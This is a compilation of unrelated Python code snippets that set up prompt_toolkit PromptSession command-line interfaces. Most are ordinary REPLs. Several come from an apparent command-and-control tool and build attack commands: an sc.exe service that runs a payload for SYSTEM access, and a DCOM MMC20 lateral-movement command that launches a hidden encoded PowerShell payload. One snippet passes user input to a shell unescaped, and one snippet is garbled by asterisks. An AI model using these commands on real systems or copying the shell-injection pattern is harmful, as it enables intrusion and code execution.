def repl(): """Start an interactive REPL.""" c = WordCompleter(["quit", "exit", "help", "ecosystems"], ignore_case=True) s = PromptSession(completer=c, auto_suggest=AutoSuggestFromHistory(), bottom_toolbar=bottom_toolbar) while True: cmd = s.prompt("> ") if cmd in {"q", "quit", "Quit", "exit", "Exit"}: break elif cmd in {"help", "Help", "?"}: show_help() elif cmd == "ecosystems": ecosystems = select_all_ecosystems(connection) print_formatted_text(HTML('<ansired>List of ecosystems</ansired>')) for ecosystem in ecosystems: print_formatted_text( HTML('<darkblue>{}</darkblue>').format(ecosystem))
def do_sharpwmi_execute(user, command, randomuri): style = Style.from_dict({'': '#80d130'}) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() new_task("%s payload=%s" % (command, payload), user, randomuri) else: print_bad("Could not find file")
def do_get_system(user, command, randomuri): style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.payload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri)
async def my_coroutine(): style = style_from_pygments_cls(get_style_by_name('native')) lisp_completer = WordCompleter(['defvar', 'defun', 'bye', 'pprintall']) session = PromptSession('Enter Lisp: ', lexer=PygmentsLexer(CommonLispLexer), style=style, completer=lisp_completer, complete_while_typing=False, bottom_toolbar=bottom_toolbar, vi_mode=True, wrap_lines=False, include_default_pygments_style=False) answer = '' while (answer != '(bye)'): with patch_stdout(): answer = await session.prompt(async_=True) tokens = list(pygments.lex(answer, lexer=CommonLispLexer())) print_formatted_text(PygmentsTokens(tokens), style=style)
def loop(addr, port): session = PromptSession() default_prompt = '> ' prompt = default_prompt shell = TAIShell(addr, port) while True: c = shell.completer p = shell.prompt() b = shell.bindings() session.app.shell = shell line = session.prompt(p, completer=c, key_bindings=b, default=shell.default_input) if len(line) > 0: shell.exec(line)
async def repl(shared_dict): """REPL task that provides a prompt to enter python commands, and provides access to shared_dict for inspection but also for adjusting values. It evaluates or executes the code and shows the result if any. It both deals with expressions (code that gives a result), such as: shared_dict['u'] # which shows the value of the current control and statements, such as: shared_dict['print'] = True # this will start the printer task (see below). Note, that while at the prompt waiting and writing input the other tasks are being executed, thus providing concurrent behavior. """ session = PromptSession(multiline=False) # Configure the completer with specifying some words to be completed # by the prompt in the repl task (see below). my_completer = WordCompleter([ 'shared_dict', 'stop', 'False', 'True', 'print', 'run', 'control', 'plot', 'u', 'y', 'plot_buffer', 'ctrl_dt' ]) print( 'Enter your single line command and press return, enter \"stop\" to exit.' ) while True: if not shared_dict['run']: break with patch_stdout(): # to prevent screen clutter at the prompt line res = await session.prompt_async( ANSI('\x1b[01;34m-> '), lexer=PygmentsLexer(Python3Lexer), completer=my_completer, auto_suggest=AutoSuggestFromHistory()) if res == 'stop': # quick way to stop shared_dict['run'] = False else: try: # first try to evaluate expression result = eval(res) if result is not None: # print result when not trivial print(result) except SyntaxError: try: # when not an expression, try to execute statement exec(res) except Exception as e: # else print exceptions print(e) except Exception as e: # idem print(e)
def input_command(self) -> str: commands = [command.name for command in list(AWSLogsCommand)] completer = FuzzyWordCompleter(commands) history = FileHistory( self.alw_path.create_filepath(self.COMMAND_HISTORY_NAME)) session = PromptSession(history=history) default = self.find_recent_history(history) command_str = session.prompt( "Command: ", completer=completer, complete_while_typing=True, default=default, ) if command_str not in commands: return "" return command_str
def main(): session = PromptSession(lexer=PygmentsLexer(HyLexer), completer=completer, style=style) header = "mal START" footer = "mal END" print(header) try: while True: try: text = session.prompt('>') text = REP(text) print(text) except MalException as m: print(str(m)) except (KeyboardInterrupt, EOFError) as e: pass print(footer)
def loop_prompt(self, start_in_embed=False): """Run prompt loop that keeps reading input line and showing output until exit.""" session: PromptSession[str] = PromptSession( history=self.prompt_history, auto_suggest=AutoSuggestFromHistory(), complete_in_thread=True, enable_history_search=True, lexer=SimpleLexer(), vi_mode=self.use_vi_mode, bottom_toolbar=self.bottom_toolbar, rprompt=self.rprompt, completer=self.completer, ) while True: if start_in_embed: self.cmd.cmd_embed() start_in_embed = False # XXX: is this the only way to change history aside from initiating session in every loop? session.default_buffer.history = self.prompt_history text = session.prompt( "> ", in_thread=True, bottom_toolbar=self.bottom_toolbar, rprompt=self.rprompt, completer=self.completer, ) text = text.replace("\\n", "\n") log.debug(f"got line input: {text!r}") if text.lower().strip() == "exit": return if text.lower().strip() == "help": self.cmd.cmd_help() continue if not text: continue result, meta = self.readline(text) log.debug( f"processed line input to: {result!r} with meta {meta!r}") self.console.print("" if result is None else result) if result: self.output_history.append(result)
def do_upload_file(user, command, randomuri): source = "" destination = "" nothidden = False if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print_bad("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter( PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") nothidden = yes_no_prompt("Do not hide the file:") else: args = argp(command) source = args.source destination = args.destination nothidden = args.nothidden try: print("Uploading %s to %s" % (source, destination)) if (nothidden): uploadcommand = f"upload-file {source} {destination} -NotHidden ${nothidden}" else: uploadcommand = f"upload-file {source} {destination}" new_task(uploadcommand, user, randomuri) except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc()
def run(self): """Runs the interface and waits for user input commands.""" completer = WordCompleter( ['show', 'template', 'wireshark', 'clear', 'back']) history = FileHistory(self._polym_path + '/.tlinterface_history') session = PromptSession(history=history) while True: try: command = session.prompt( HTML("<bold>PH:<red>cap</red> > </bold>"), completer=completer, complete_style=CompleteStyle.READLINE_LIKE, auto_suggest=AutoSuggestFromHistory(), enable_history_search=True) except KeyboardInterrupt: self.exit_program() continue try: command = command.rstrip().split(" ") if command[0] in self.EXIT: self.exit_program() elif command[0] in self.RET: break elif command[0] in ["show", "s"]: self._show(command) elif command[0] in ["template", "t"]: self._template(command) elif command[0] in ["wireshark", "w"]: self._wireshark(command) elif command[0] == "clear": Interface._clear() elif command[0] == "": continue else: Interface._wrong_command() except SystemExit: raise except Exception as e: Interface._print_error( "Exception: Error processing the previous command. More info:" ) print(e)
def main(): print(string_ropg(string_bold(ASCII_art))) initLogs() finish = False promptSession = PromptSession(ANSI(u"(" + string_ropg(u'main') + u")> ")) while (not finish): try: user_input = promptSession.prompt() args = user_input.split() argslen = len(args) if (argslen > 0): command = args[0] else: command = None continue if (command == CMD_LOAD): load(args[1:]) elif (command == CMD_EXIT): finish = True elif (command == CMD_HELP): print(helpStr) elif (command == CMD_SEARCH): if (not Database.gadgets): error( "You have to load gadgets before entering semantic-mode" ) elif (not semantic_mode()): finish = True elif (command == CMD_EXPLOIT): if (not exploit_mode()): finish = True else: error("Unknown command '{}'".format(command)) if (command != None): print('') except KeyboardInterrupt: pass closeLogs() save_shellcodes() exit(0)
def run_cli(self): # get catalog data before start self.refresher.refresh(self.executor, self.completer, []) session = PromptSession(lexer=PygmentsLexer(SqlLexer), completer=self.completer, style=style, auto_suggest=AutoSuggestFromHistory(), bottom_toolbar=self.bottom_toolbar, key_bindings=self.create_key_bindings(), multiline=self.multiline) option_str = "--servers={server} --port={port_number}{user}{password}{credentials}" \ "{ssl}{output_format}{output_skip_metadata}{stop_on_error}{kerberos} " \ "--query-timeout={number_of_milliseconds}".format( server=self.server, port_number=self.port, user="******" + self.user if self.user else "", password="******" + self.password if self.password else "", credentials=" --credentials=" + self.credentials if self.credentials else "", kerberos=" --kerberos=" + self.kerberos if self.kerberos else "", number_of_milliseconds=self.query_timeout, ssl=" --ssl=" + self.ssl_set if self.ssl_set else " --ssl" if self.ssl else "", output_format=" --output-format=" + self.output_format if self.output_format else "", output_skip_metadata=" --output-skip-metadata" if self.output_skip_metadata else "", stop_on_error=" --stop-on-error=false" if not self.stop_on_error else "" ) while True: try: sql_cmd = session.prompt('> ') except KeyboardInterrupt: break except EOFError: break else: if sql_cmd.lower() == "update": # use "update" command to force a fresh self.refresher.refresh(self.executor, self.completer, []) continue call("echo \"{sql_cmd}\" | sqlcmd {options}".format( sql_cmd=sql_cmd, options=option_str), shell=True) if self.auto_refresh: self.refresher.refresh(self.executor, self.completer, []) print('GoodBye!')
def repl(): session = PromptSession(message=">>> ", key_bindings=bindings, auto_suggest=AutoSuggestFromHistory(), complete_while_typing=True, completer=pactor_completer, history=file_history) print(f"Pactor REPL v0.5") print(f"Type ? for more information") vm = VM(Ast()) while True: try: line = session.prompt() if line == '?': print("REPL Commands:") print(" . - remove from stack") print(" .. - reset stack") print(" : - prints all symbols") elif line == '.': vm.stack.pop() print_stack(vm) elif line == '..': vm.stack.clear() print_stack(vm) elif line == ':': for symbol in SYMBOLS.keys(): print(':' + symbol) else: ast = load_script(line) vm.run_ast(ast) pactor_completer.words = set( list(pactor_completer.words) + list(vm.words.keys())) print_stack(vm) except InnerPactorRuntimeError as e: print("*** " + e.error_arrow) print(f"*** Runtime Error: {e.message}") print_stack(vm) except SyntaxException as e: print("*** " + e.error_arrow) print(f"*** Syntax Error: {e.message}") except Exception as e: print(f"Error: {e}")
def start(): global ser ser = serial.Serial(COM_PORT, 115200) recvThread = threading.Thread(target=recvLoop) recvThread.daemon = True recvThread.start() time.sleep(2) ser.write(b'\nshellSetMode(1);\n') time.sleep(0.5) ser.write(b'\xF8\xF8') session = PromptSession(history=FileHistory('py/shell.history')) while True: cmd = session.prompt(': ') if cmd.startswith('.'): eval(cmd[1:]) else: ser.write(cmd.encode('utf-8') + b'\xF8')
def main(): parser = ArgumentParser(prog='spelunk', description='Splunk REPL that allows CLI access to the Splunk API') parser.add_argument('host', help='Splunk Hostname, IP or URL', action="store_true") parser.add_argument('port', help='Splunk Management port', action="store_true") parser.add_argument('-u', '--username', help='Splunk username', action="store_true") parser.add_argument('-p', '--password', help='Splunk password', action="store_true") parser.parse_args() # Main REPL session = PromptSession() while True: try: text = session.prompt('> ').strip() except (EOFError, KeyboardInterrupt): break else: print('You entered:', text) print('Adios!')
def mainInit() -> None: global itParser from prompt_toolkit import PromptSession # from pygments.lexers.shell import BashLexer from .ui.helper.BashLexer import BashLexer from prompt_toolkit.lexers import PygmentsLexer from prompt_toolkit.auto_suggest import AutoSuggestFromHistory itParser = getITParser() shared.setCwd(os.getcwd()) helper.loadMan() cliInputSession = PromptSession(message=defaultPrompt, lexer=PygmentsLexer(BashLexer), auto_suggest=AutoSuggestFromHistory()) ui.setConsole(ui.CLI(inputCommandSession=cliInputSession)) log.debug("Main initializing finished.")
def input_profile(self, default="") -> str: profiles = ProfileConfig.load_profiles(self.AWS_CRED_PATH) completer = FuzzyWordCompleter(profiles, WORD=True) history = FileHistory( self.alw_path.create_filepath(self.PROFILE_HISTORY_NAME)) session = PromptSession(history=history) default = self.find_default_from_history(default, history) profile = session.prompt( "Profile: ", completer=completer, complete_while_typing=True, default=default, ) if profile not in profiles: return "" return profile
def main(): session = PromptSession( lexer=PygmentsLexer(SqlLexer), completer=MyCustomCompleter(), # completer=sql_completer, style=style, auto_suggest=AutoSuggestFromHistory(), history=FileHistory(f'{os.getenv("HOME")}/.tm_history') ) while True: try: text = session.prompt('> ') except KeyboardInterrupt: continue except EOFError: break else: print('You entered:', text) print('GoodBye!')
def do_invoke_dcompayload(user, command, randomuri): style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.payload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() p = re.compile(r'(?<=-target.).*') target = re.search(p, command).group() pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (target, payload) new_task(pscommand, user, randomuri) else: print_bad("Need to run createnewpayload first") return
def __init__( self, vi_mode=False, completer=None, multiline=True, style=None, ): self.style = style self.multiline = multiline self.vi_mode = vi_mode self.completer = completer self.lines = [] self.history = FileHistory( os.path.join(os.path.expanduser('~'), '.ignuplot-history')) self.session = PromptSession(history=self.history, style=self.style, enable_history_search=True, auto_suggest=AutoSuggestFromHistory())
async def createsuperuser(args): await init_tortoise(args) user_model = Tortoise.apps.get("models").get(args.user) prompt = PromptSession() while True: try: username = await prompt.prompt_async("Username: "******"Password: "******"Create superuser {username} success.") return except Exception as e: Logger.error(f"Create superuser {username} error,{e}") except (EOFError, KeyboardInterrupt): Logger.success("Exit success!") return
def prepare_cli_interface(commands): style = Style.from_dict({ # user input (default text) '': '#00ff00', # prompt 'pound': '#00ff00', 'path': 'ansicyan', # toolbar 'bottom-toolbar': '#333333 bg:#ffcc00' }) toolbar_text = f' Basisverzeichnis: {BASE_PATH} - Zum Beenden Strg+d oder Strg+c drücken.' our_history = FileHistory(HISTORY_FILE) session = PromptSession(auto_suggest=AutoSuggestFromHistory(), history=our_history, style=style, completer=prepare_completers(commands), key_bindings=prepare_key_bindings(), bottom_toolbar=toolbar_text, complete_while_typing=True) return session
def __init__(self, stdin=None, stdout=None): """Instantiate a line-oriented interpreter framework. Command completion is done automatically using the prompt_toolkit library. The optional arguments stdin and stdout specify alternate input and output file objects; if not specified, sys.stdin and sys.stdout are used. """ if stdin is not None: self.stdin = stdin else: self.stdin = sys.stdin if stdout is not None: self.stdout = stdout else: self.stdout = sys.stdout self.cmdqueue = [] self.prompt_session = PromptSession( complete_style=CompleteStyle.READLINE_LIKE, completer=MyCompleter(self))
def __init__(self, args): self.args = args self.current_context = self self.teamservers = TeamServers(args['<URL>']) self.completer = STCompleter(self) self.prompt_session = PromptSession( HTML(("[<ansiyellow>" f"{len(self.teamservers.connections)}" "</ansiyellow>] ST ≫ ")), bottom_toolbar=functools.partial(bottom_toolbar, ts=self.teamservers), completer=self.completer, complete_in_thread=True, complete_while_typing=True, auto_suggest=AutoSuggestFromHistory(), #rprompt=get_rprompt(False), #style=example_style, search_ignore_case=True)
def build_prompt_session(self): """ This is kind of gross because of the nested completer, so I broke it out on it's own. The nested completer must be updated separately whenever a new command or a command argument is changed. """ remote_completer = RemotePathCompleter(self) local_completer = LocalPathCompleter(self) download_method_completer = WordCompleter(downloader.get_names()) upload_method_completer = WordCompleter(uploader.get_names()) completer_graph = { "download": { "-m": download_method_completer, "--method": download_method_completer, "-o": local_completer, "--output": local_completer, "positional": [remote_completer], }, "upload": { "-m": upload_method_completer, "--method": upload_method_completer, "-o": remote_completer, "--output": remote_completer, "positional": [local_completer], }, "back": None, "sync": None, "help": None, } return PromptSession( [ ("fg:ansiyellow bold", "(local) "), ("fg:ansimagenta bold", "pwncat"), ("", "$ "), ], completer=CommandCompleter(completer_graph), auto_suggest=AutoSuggestFromHistory(), lexer=PygmentsLexer(LocalCommandLexer), style=PwncatStyle, )
def handle_visitor(pol_id, vdir, video, frame_number): global visitor def bottom_toolbar(): return [("class:bottom-toolbar", "Press CTRL + c to cancel.")] s = PromptSession(bottom_toolbar=bottom_toolbar) msg_heading = """ [Discrete Visitor Info] """ try: behavior = s.prompt(msg_heading + "Behavior >> ", completer=get_completer("behavior")) size = s.prompt(msg_heading + "Size >> ", completer=get_completer("size")) ppt_slide = s.prompt(msg_heading + "Powerpoint Slide >> ", validator=NumberValidator()) if ppt_slide: ppt_slide = int(ppt_slide) else: # Change empty string to None so peewee doesn't complain ppt_slide = None notes = prompt(msg_heading + "Notes >> ", bottom_toolbar=bottom_toolbar) if notes == "": # Change empty string to None so peewee doesn't complain notes = None print("[*] Adding visitor info to database...") add_or_update_discrete_visitor(directory=vdir.directory, video_fname=video, pol_id=pol_id, behavior=behavior, size=size, recent_frame=frame_number, ppt_slide=ppt_slide, notes=notes) visitor = False except KeyboardInterrupt: print("\n[!] Canceled!\n")
class Cli(AIIO): prompt = ' $ ' session = PromptSession(completer=ConditionedPathCompleter()) has_history = False style_dict = {} def __init__(self): super().__init__() def ask(self, message=False): return self.session.prompt( self.prompt if message is False else '{} '.format(message), style=IO.style) @staticmethod def update_style(dict): Cli.style_dict = dict IO.style = Style.from_dict(Cli.style_dict) @staticmethod def update_prompt(arguments): Cli.prompt = arguments['prompt'] Cli.update_style(arguments['style']) def talk(self, message, style=None): if style == 'ANSI': IO.printANSI(message) else: IO.print(message) def persist_history(self, trash=None): Cli.session = PromptSession(history=FileHistory('var/history.txt'), completer=ConditionedPathCompleter()) def load(self, source={}): if source.get('prompt'): Cli.prompt = source.get('prompt') if source.get('history') is True: self.persist_history() if source.get('style'): self.update_style(source.get('style'))
def run(self): self.session = PromptSession(auto_suggest=AutoSuggestFromHistory()) while True: command = self.session.prompt( HTML("<seagreen><b>DLNest>></b></seagreen>")) commandWordList = command.strip().split(' ') if commandWordList[0] == 'run': self.runTrain(commandWordList) elif commandWordList[0] == 'new': self.newProject(commandWordList) elif commandWordList[0] == 'load': self.runAnalyze(commandWordList) elif commandWordList[0] == 'runExp': if len(commandWordList) < 2: continue self.core.runExp(commandWordList[1]) elif commandWordList[0] == 'release': self.core.releaseModel() elif commandWordList[0] == 'del': self.core.delTask(commandWordList[1]) elif commandWordList[0] == 'suspend': self.core.susTask(commandWordList[1]) elif commandWordList[0] == 'reload': self.core.reloadTask(commandWordList[1]) elif commandWordList[0] == 'showDL': print(self.core.getDLNestOutput()[1]) elif commandWordList[0] == 'showAN': print(self.core.getAnalyzerOutput()[1]) elif commandWordList[0] == 'show': print(self.core.getTasks()) elif commandWordList[0] == 'exit': self.core.releaseModel() exit(0) elif commandWordList[0] == 'showCard': print(self.core.getCardsInfo()) elif commandWordList[0] == 'changeCards': self.changeCards(commandWordList) else: print( "Use \'run\' to start a new training process, use \'new\' to create a project." )
def __init__(self, parent=None, **kwargs): fail = kwargs.pop("fail", True) super(Console, self).__init__() # determine the relevant parent self.parent = parent if self.parent is not None and self.parent.level == self.level: while parent is not None and parent.level == self.level: parent = parent.parent # go up of one console level # raise an exception in the context of command's .run() execution, to be propagated to console's .run() # execution, setting the directly higher level console in argument raise ConsoleDuplicate(self, parent) # back-reference the console self.config.console = self # configure the console regarding its parenthood if self.parent is None: if Console.parent is not None: raise Exception("Only one parent console can be used") Console.parent = self Console.parent._start_time = datetime.now() Console.appdispname = Console.appname Console.appname = Console.appname.lower() self._root = Path(getfile(self.__class__)).resolve() self.__init(**kwargs) else: self.parent.child = self # reset commands and other bound stuffs self.reset() # setup the session with the custom completer and validator completer, validator = CommandCompleter(), CommandValidator(fail) completer.console = validator.console = self message, style = self.prompt self._session = PromptSession( message, completer=completer, history=FileHistory( Path(self.config.option("WORKSPACE").value).joinpath( "history")), validator=validator, style=Style.from_dict(style), ) CustomLayout(self)